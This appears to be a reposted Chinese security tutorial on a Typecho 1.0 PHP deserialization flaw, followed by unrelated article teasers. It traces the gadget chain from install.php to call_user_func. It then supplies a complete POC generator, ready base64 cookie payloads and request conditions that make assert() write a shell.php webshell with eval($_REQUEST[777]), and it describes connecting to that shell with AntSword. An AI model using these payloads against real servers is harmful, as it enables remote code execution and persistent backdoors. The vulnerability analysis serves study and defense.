当前位置: 首页 > news >正文

【PHP代码审计】反序列化漏洞实战

文章目录

    • 概述
    • 资源下载地址
    • Typecho代码审计-漏洞原理
        • call_user_func()
        • `_applyFilter()`、get()与__get`
        • __toString()
        • `__construct()`
        • install.php
    • POC利用
    • 漏洞利用复现
      • 利用链
      • 执行phpinfo()
        • GET利用
        • POST利用
      • getshell
        • 生成payload
        • 漏洞利用
        • 蚁剑连接
    • 总结

概述

序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。

本篇文章将借助Typechov1.0(14.10.10)环境进行代码审计,最终完成对Typecho的利用与getshell。

Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。

2017年10月13日,Typecho爆出前台代码执行漏洞,知道创宇404团队研究人员成功复现了该漏洞。

经过分析确认,该漏洞可以无限制执行代码,通过这种方式可以导致getshell。

资源下载地址

链接:https://pan.baidu.com/s/1S9v2y9NvvUG0KSSPkDG7Mg?pwd=yuan

具体的typechov1.0(14.10.10)靶场环境安装教程这里不再赘述,网上教程很多。

Typecho代码审计-漏洞原理

参考文章:https://www.cnblogs.com/litlife/p/10798061.html

call_user_func()

经过对Typecho的代码审计,在Typecho_Request类中可以发现一个危险函数call_user_func

image-20230905164143684

这个函数是回调函数,里面可以传两个参数,第1个参数表示要调用的函数,第2个参数表示要传给要调用的函数的参数,假设我们传的第1个参数是assert,第2个参数是一个这样的字符串"fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')",就相当于我们执行了这个命令:

assert(fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>'));

这个命令意思就是我们创建并打开一个shell.php文件,并且把<?php phpinfo();@eval(\$_REQUEST[777])?>写入文件。相当于我们写了一个一句话木马文件到目标服务器,从而getshell。

_applyFilter()、get()与__get`

基于对以上危险函数的分析,我们开始寻找利用点

要想完成以上危险函数的利用,就需要确保传入的两个参数是可控的,$filter属于Typecho_Request类的属性,是可以在创建对象的时候控制的,$value_applyFilter函数的参数,所以我们要查找一下哪里调用了_applyFilter函数,于是往上面分析。

经过查找,我们可以在这个Typecho_Request类中看到get()函数里调用了_applyFilter()函数

image-20230905170656515

在这个get()函数中,调用了_applyFilter函数,并且传了参数$value,其中$value是可控的,因为他其实就是当前类的_params数组的一个键为$key的值,所以我们下一步要做的就是控制_params数组的$key,于是我们继续往上找,看看是谁调用了这个get()函数。

image-20230905170835213

经过查找可以发现,__get()函数调用了get()函数,__get()函数是非常特殊的一个函数,叫做魔法函数,当调用一个对象的私有属性的时候,就会默认调用这个魔法函数。因此我们需要找一个地方,看看哪里会用到对象的属性。

__toString()

经过查找,发现在Typecho_Feed类中的这个地方调用了_items数组对象的screenName属性,恰好_items数组是可控的,所以这里可以利用

image-20230905174252265

当我们访问_items数组中的author对应的对象的私有属性screenName的时候,会默认调用这个对象的__get()魔法函数,为了调用上面分析的__get()函数,我们把_items中author对应的对象设置为Typecho_Request对象即可,而且Typecho_Request类中没有screenName属性,也会默认调用Typecho_Request类的__get()函数

在上一步分析中,我们要知道我们分析的代码是在哪个函数中:

image-20230905174542073

如图,是在Typecho_Feed类的__toString()函数中,这也是一个魔法函数,当一个对象与一个字符串进行拼接的时候,这个__toString()函数会被自动调用,所以接下来我们需要看看哪个对象具备和字符串拼接的操作。

__construct()

经过查找,在Typecho_Db类中发现他的构造函数具有一个可控参数与字符串进行拼接

image-20230905175106219

所以可以控制这个参数为一个对象,这个对象就是Typecho_Feed对象,当Typecho_Feed对象与字符串拼接的时候,就会调用这个Typecho_Feed对象的魔法函数__toString()。又因为这个__construct()是默认构造函数,默认构造函数在创建对象的时候会自动调用,所以需要往上分析,看看什么地方具有new这个Typecho_Db对象的条件。

install.php

经过查找,可以在install.php中发现以下代码:

image-20230905180450369

这个代码就new了一个Typecho_Db对象,可以默认调用这个对象的默认构造函数。

根据以上代码分析可知,我们可以控制cookie的__typecho_config键的值,然后反序列化成为一个$config对象,所以$config对象是可控的,在对这个对象的构造完成之后,我们可以序列化这个对象,形成POC,在入口点将POC传入,即可形成利用链。

POC利用

typecho_1.0(14.10.10)_unserialize_fputs.php

<?php
class Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}
}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = "fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')";$this->_filter[0] = 'assert';}
}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_'
);echo base64_encode(serialize($exp));
?>

漏洞利用复现

利用链

反序列化 --> __construct() --> toString() --> __get() --> _applyFilter() --> call_user_func()

执行phpinfo()

生成恶意序列化数据:

使用提供的typecho_1.0(14.10.10)_unserialize_phpinfo.php文件生成payload,如图:

image-20230905135013906

GET利用

条件

  1. php版本5.4.45
  2. 具有序列化漏洞的php是install.php
  3. 序列化数据放在cookie中,key为__typecho_config
  4. 需要Referer头:http://10.9.75.168
  5. url中需要参数finish

序列化数据放在cookie中,并且需要Referer校验

/install.php?finish
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

这里使用的是hackbar:

image-20230905133727139

也可以用BurpSuit修改请求包:

image-20230905134418589

POST利用

条件

  1. php版本5.4.45
  2. 具有序列化漏洞的php是install.php
  3. 序列化数据放在cookie中或者body中,key为__typecho_config
  4. 与是否携带Referer头无关
/install.php?finish
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

image-20230905133843606

getshell

生成payload

生成恶意序列化数据:

使用提供的typecho_1.0(14.10.10)_unserialize_fputs.php文件生成payload,如图:

image-20230905155725320

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

特别注意:这里有个奇怪的bug,在上面的代码中,如果创建的php文件的文件名是一个字符,将无法写入,比如a.php,一个字符以上才可以写入,比如1e.php就可以写入,当然我上面的文件名是shell.php,是没有问题的

漏洞利用

image-20230905155601193

蚁剑连接

image-20230905155252415

总结

​ PHP反序列化漏洞主要就是借助魔法函数的自动调用特性,再结合程序中出现的危险函数,形成利用链。在本篇文章中,Typecho反序列化漏洞的利用链就是:反序列化 --> __construct() --> __toString() --> __get() --> _applyFilter() --> call_user_func()。

其中可以看到多处地方调用了魔法函数,最终调用到了危险函数call_user_func()完成利用,至于如何构造对象,就需要分析要形成这条利用链的一些条件了,通常都是根据if else语句来制造利用条件的,比如install.php的入口处:

image-20230905195114428

由以上代码我们可以知道,在发起请求包的时候我们要注意传url参数与referer头,否则无法执行到我们的反序列化入口,导致无法形成利用链

​ 因此,要想借助反序列化漏洞形成利用链,首先就需要对这门语言属性,属性这门语言的危险函数,找到危险函数之后进行反推,往上查找调用链,如果最后可以找到反序列化入口,就可以形成利用链。

相关文章:

【PHP代码审计】反序列化漏洞实战

文章目录 概述资源下载地址Typecho代码审计-漏洞原理call_user_func()_applyFilter()、get()与__get__toString()__construct()install.php POC利用漏洞利用复现利用链执行phpinfo()GET利用POST利用 getshell生成payload漏洞利用蚁剑连接 总结 概述 序列化&#xff0c;“将对象…...

Socks5 与 HTTP 代理在网络安全中的应用

目录 Socks5和HTTP代理在网络安全中的应用。 Socks5代理和HTTP代理的优点和缺点。 选择合适的代理IP需要考虑的因素&#xff1a; 总结 在网络安全领域中&#xff0c;Socks5和HTTP代理都扮演着重要的角色。作为两种不同的代理技术&#xff0c;它们在网络安全中的应用各有特点…...

进阶C语言-指针的进阶(中)

指针的进阶 &#x1f4d6;5.函数指针&#x1f4d6;6.函数指针数组&#x1f4d6;7.指向函数指针数组的指针&#x1f4d6;8.回调函数 &#x1f4d6;5.函数指针 数组指针 - 指向数组的指针 - 存放的是数组的地址 - &数组名就是数组的地址。 函数指针 - 指向函数的指针 - 存放的…...

保姆级-微信小程序开发教程

一&#xff0c;注册微信小程序 如果你还没有微信公众平台的账号&#xff0c;请先进入微信公众平台首页&#xff0c;点击 “立即注册” 按钮进行注册。注册的账号类型可以是订阅号、服务号、小程序以及企业微信&#xff0c;我们选择 “小程序” 即可。 接着填写账号信息&#x…...

数据库-DQL

DQL&#xff1a;用来查询数据库表中的记录 关键字&#xff1a;SELECT 语法&#xff1a; select&#xff1a;字段列表 from&#xff1a;表名列表 where&#xff1a;条件列表 group by&#xff1a;分组列表 having&#xff1a;分组后条件列表 order by&#xff1a;排序字段列表…...

19 螺旋矩阵

螺旋矩阵 题解1 循环&#xff08;4个标志——根据顺时针&#xff09;题解2 方向 给你一个 m 行 n 列的矩阵 matrix &#xff0c;请按照 顺时针螺旋顺序 &#xff0c;返回矩阵中的所有元素。 提示&#xff1a; - m matrix.length - n matrix[i].length - 1 < m, n <…...

数据结构与算法:概述

目录 算法 评价标准 时间的复杂度 概念 推导原则 举例 空间的复杂度 定义 情形 运用场景 数据结构 组成方式 算法 在数学领域&#xff0c;算法是解决某一类问题的公式和思想&#xff1b; 计算机科学领域&#xff0c;是指一系列程序指令&#xff0c;用于解决特定的…...

顺序表详解

&#x1f493; 博客主页&#xff1a;江池俊的博客⏩ 收录专栏&#xff1a;数据结构探索&#x1f449;专栏推荐&#xff1a;✅C语言初阶之路 ✅C语言进阶之路&#x1f4bb;代码仓库&#xff1a;江池俊的代码仓库&#x1f525;编译环境&#xff1a;Visual Studio 2022&#x1f38…...

基于RabbitMQ的模拟消息队列之六——网络通信设计

自定义基于TCP的应用层通信协议。实现客户端对服务器的远程调用 编写服务器及客户端代码 文章目录 基于TCP的自定义应用层协议一、请求1.请求格式2.创建Request类 二、响应1.响应格式2.创建Response类 三、客户端-服务器交互四、type五、请求payload1.BasicAruguments(方法公共…...

算法:数组中的最大差值---“打擂台法“

文章来源&#xff1a; https://blog.csdn.net/weixin_45630258/article/details/132737088 欢迎各位大佬指点、三连 1、题目&#xff1a; 给定一个整数数组 nums&#xff0c;找出给定数组中两个数字之间的最大差值。要求&#xff0c;第二个数字必须大于第一个数字。 2、分析特…...

三种方式查看 JVM 垃圾收集器

一、引言 不同版本的 JVM 默认使用的垃圾收集器是不同的&#xff0c;目前的新生代和老年代的垃圾收集器如下图所示&#xff0c;新生代和老年代之间的连线表示这些垃圾收集器可以进行搭配使用 垃圾收集器的名字和 JVM 里面的参数对照表如下&#xff0c;即在 JVM 里面并不是存储的…...

React中函数式组件与类组件有何不同?

Function Component 与 Class Component 有何不同 目录 Function Component 与 Class Component 有何不同 文章核心观点&#xff1a; 解释一下&#xff1a; 总结&#xff1a; 文章核心观点&#xff1a; Function components capture the rendered values.函数式组件捕获…...

windows11安装docker时,修改默认安装到C盘

1、修改默认安装到C盘 2、如果之前安装过docker&#xff0c;请删除如下目录&#xff1a;C:\Program Files\Docker 3、在D盘新建目录&#xff1a;D:\Program Files\Docker 4、winr&#xff0c;以管理员权限运行cmd 5、在cmd中执行如下命令&#xff0c;建立软联接&#xff1a; m…...

python模块之 aiomysql 异步mysql

mysql安装教程 mysql语法大全 python 模块pymysql模块&#xff0c;连接mysql数据库 一、介绍 aiomysql 是一个基于 asyncio 的异步 MySQL 客户端库&#xff0c;用于在 Python 中与 MySQL 数据库进行交互。它提供了异步的数据库连接和查询操作&#xff0c;适用于异步编程环境 …...

开开心心带你学习MySQL数据库之第八篇

索引和事务 ~~ 数据库运行的原理知识 面试题 索引 索引(index) > 目录 索引存在的意义,就是为了加快查找速度!!(省略了遍历的过程) 查找速度是快了&#xff0c;但是付出了一定的代价!! 1.需要付出额外的空间代价来保存索引数据 2.索引可能会拖慢新增,删除,修改的速度 ~~ …...

yml配置动态数据源(数据库@DS)与引起(If you want an embedded database (H2, HSQL or Derby))类问题

1&#xff1a;yml 配置 spring:datasource:dynamic:datasource:master:url: jdbc:mysql://192.168.11.50:3306/dsdd?characterEncodingUTF-8&useUnicodetrue&useSSLfalse&tinyInt1isBitfalse&allowPublicKeyRetrievaltrue&serverTimezoneUTCusername: ro…...

yolov5运行过程遇到的小问题(随时更新)

1.关于git的问题 解决办法&#xff1a;插入下面代码 import os os.environ["GIT_PYTHON_REFRESH"] "quiet"2.页面太小无法完成操作 解决办法: 如果不好使再考虑降低Batch_Size大小或者调整虚拟内存可用硬盘空间大小&#xff01;&#xff08;调整虚拟内存…...

使用FabricJS创建Image对象的JSON表示

本篇文章介绍一下如何创建图像的 JSON 表示形式 使用 FabricJS 的对象。我们可以通过创建一个实例来创建一个 Image 对象 织物.图像。由于它是FabricJS的基本元素之一&#xff0c;我们也可以轻松地 通过应用角度、不透明度等属性来自定义它。为了创建 JSON Image 对象的表示&am…...

【牛客刷题】反转固定区间链表、每k个节点一组反转

链表内指定区间反转_牛客题霸_牛客网 ListNode* reverseList(ListNode* head, ListNode* tail) {ListNode* pre nullptr;ListNode* cur head;while (cur ! tail) { 最后cur就是tailListNode* temp cur->next;cur->next pre;pre cur;cur temp;}return pre;}ListNode…...

算法:数组常见套路1---双指针、取模、打擂台法

文章来源&#xff1a; https://blog.csdn.net/weixin_45630258/article/details/132738318 欢迎各位大佬指点、三连 一、数组的合并–双指针[快慢指针] 1、题目&#xff1a; 给你两个按 非递减顺序 排列的整数数组 nums1 和 nums2&#xff0c;另有两个整数 m 和 n &#xff0…...

React Native 导航系统实战(React Navigation)

导航系统实战&#xff08;React Navigation&#xff09; React Navigation 是 React Native 应用中最常用的导航库之一&#xff0c;它提供了多种导航模式&#xff0c;如堆栈导航&#xff08;Stack Navigator&#xff09;、标签导航&#xff08;Tab Navigator&#xff09;和抽屉…...

大数据零基础学习day1之环境准备和大数据初步理解

学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 &#xff08;1&#xff09;设置网关 打开VMware虚拟机&#xff0c;点击编辑…...

Objective-C常用命名规范总结

【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名&#xff08;Class Name)2.协议名&#xff08;Protocol Name)3.方法名&#xff08;Method Name)4.属性名&#xff08;Property Name&#xff09;5.局部变量/实例变量&#xff08;Local / Instance Variables&…...

【CSS position 属性】static、relative、fixed、absolute 、sticky详细介绍,多层嵌套定位示例

文章目录 ★ position 的五种类型及基本用法 ★ 一、position 属性概述 二、position 的五种类型详解(初学者版) 1. static(默认值) 2. relative(相对定位) 3. absolute(绝对定位) 4. fixed(固定定位) 5. sticky(粘性定位) 三、定位元素的层级关系(z-i…...

苍穹外卖--缓存菜品

1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得&#xff0c;如果用户端访问量比较大&#xff0c;数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据&#xff0c;减少数据库查询操作。 缓存逻辑分析&#xff1a; ①每个分类下的菜品保持一份缓存数据…...

mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包

文章目录 现象&#xff1a;mysql已经安装&#xff0c;但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时&#xff0c;可能是因为以下几个原因&#xff1a;1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...

关键领域软件测试的突围之路:如何破解安全与效率的平衡难题

在数字化浪潮席卷全球的今天&#xff0c;软件系统已成为国家关键领域的核心战斗力。不同于普通商业软件&#xff0c;这些承载着国家安全使命的软件系统面临着前所未有的质量挑战——如何在确保绝对安全的前提下&#xff0c;实现高效测试与快速迭代&#xff1f;这一命题正考验着…...

Caliper 负载(Workload)详细解析

Caliper 负载(Workload)详细解析 负载(Workload)是 Caliper 性能测试的核心部分,它定义了测试期间要执行的具体合约调用行为和交易模式。下面我将全面深入地讲解负载的各个方面。 一、负载模块基本结构 一个典型的负载模块(如 workload.js)包含以下基本结构: use strict;/…...

Android写一个捕获全局异常的工具类

项目开发和实际运行过程中难免会遇到异常发生&#xff0c;系统提供了一个可以捕获全局异常的工具Uncaughtexceptionhandler&#xff0c;它是Thread的子类&#xff08;就是package java.lang;里线程的Thread&#xff09;。本文将利用它将设备信息、报错信息以及错误的发生时间都…...

前端高频面试题2:浏览器/计算机网络

本专栏相关链接 前端高频面试题1&#xff1a;HTML/CSS 前端高频面试题2&#xff1a;浏览器/计算机网络 前端高频面试题3&#xff1a;JavaScript 1.什么是强缓存、协商缓存&#xff1f; 强缓存&#xff1a; 当浏览器请求资源时&#xff0c;首先检查本地缓存是否命中。如果命…...